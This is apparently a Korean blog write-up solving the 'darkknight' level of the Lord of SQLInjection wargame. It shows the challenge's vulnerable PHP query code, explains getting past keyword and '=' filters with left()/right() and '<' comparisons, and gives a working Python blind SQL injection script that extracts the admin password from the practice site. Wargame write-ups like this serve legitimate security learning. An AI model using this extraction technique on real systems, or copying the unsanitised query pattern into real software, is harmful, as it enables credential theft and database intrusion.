12번째 문제인 darkknight다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
이전 문제처럼 substr이 필터링되고 있으며 ascii 함수, 동일비교 연산자('=')도 필터링되고 있다. 특이한 것은 no라는 파라미터가 하나 더 추가되었는데 두번째 쿼리에서는 이를 요구하지 않기 때문에 굳이 구할 필요는 없지만 연습 삼아 구해볼 수도 있다.
만약 admin 계정의 no 컬럼 값을 구하고자 한다면 이전과 비슷하게 "1 or left(id, 1) < 'b' && no < {}"처럼 해서 {}을 0부터 하나씩 증가시켜가면서 비교하면 될 것이다. 이번에는 left() 함수를 사용해보았는데 이는 매개변수로 주어진 문자열에서 왼쪽에서 몇글자 만큼 떼오는 함수다. 이를 응용하면 substr() 함수를 아예 사용할 수 없는 경우에서도 비슷하게 구현할 수 있는데 원리는 다음 그림과 같다.
위처럼 left 함수로 떼온 n길이 문자열에서 right 함수로 맨 오른쪽 문자를 떼오면 n번째 문자를 얻을 수 있다. 이 경우 right() 함수의 파라미터로 left() 함수의 결과값이 들어가야 한다. 지금은 substring()으로 우회할 수 있지만 나중에 아예 "substr"이란 단어 자체가 필터링되는 경우 유용할 것이기 때문에 이번 문제에서는 left(), right() 함수를 사용해보았다.
이전처럼 동일비교 연산자가 필터링되어있기 때문에 'a=5' 같은 조건식 대신 'a<6' 같은 조건식으로 판단할 수 있다. 이번 문제는 파라미터가 추가되었다는 점을 제외하면 전반적으로 이전 문제와 동일하다.
import requests
password = ''
password_length = 0
no = 0
URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}
for estimated_value in range(100):
query={'pw': '1',
'no': '1 or left(id, 1) < \"b\" and no < ' + str(estimated_value)}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
no = estimated_value - 1
print("admin's no is {}".format(no))
break
for estimated_length in range(100):
query={'pw': '1',
'no': '1 or left(id, 1) < \"b\" and no < ' + str(no+1) + \
' and length(pw) < ' + str(estimated_length)}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password_length = estimated_length - 1
print("admin's password length is {}".format(password_length))
break
if password_length < 1:
print("Password length unknown")
exit()
for current_password_length in range(1, password_length+1) :
for password_chr in range(ord('0'),ord('z')+1) :
query={'pw': '1',
'no': '1 or left(id, 1) < \"b\" and no < ' + str(no+1) + \
' and right(left(pw, ' + str(current_password_length) +'), 1) < \"' + chr(password_chr) + '\"'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password = password+chr(password_chr - 1)
print(password)
break
if len(password) == password_length:
print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))
실행해보면 어렵지 않게 비밀번호를 찾을 수 있었다.
실행 결과에서 볼 수 있듯이 no는 결과에 아무런 영향을 끼치지 않았다. 단지 파라미터가 하나더 추가됐다는 것 말고는 차이가 없는데 원래 문제에서는 no 값도 찾는게 의도가 아니었을까 싶다. 실수로 누락되었다던지...
'챌린지 > los.rubiya.kr' 카테고리의 다른 글
Lord of SQLInjection - giant (0) | 2021.01.04 |
---|---|
Lord of SQLInjection - bugbear (0) | 2021.01.03 |
Lord of SQLInjection - golem (0) | 2020.12.31 |
Lord of SQLInjection - skeleton (0) | 2020.12.30 |
Lord of SQLInjection - vampire (0) | 2020.12.30 |